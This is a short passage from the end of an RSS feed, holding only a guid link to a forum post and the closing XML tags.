			<guid>https://pkhelper.eurobb.ru/viewtopic.php?pid=222#p222</guid>
		</item>
	</channel>
</rss>
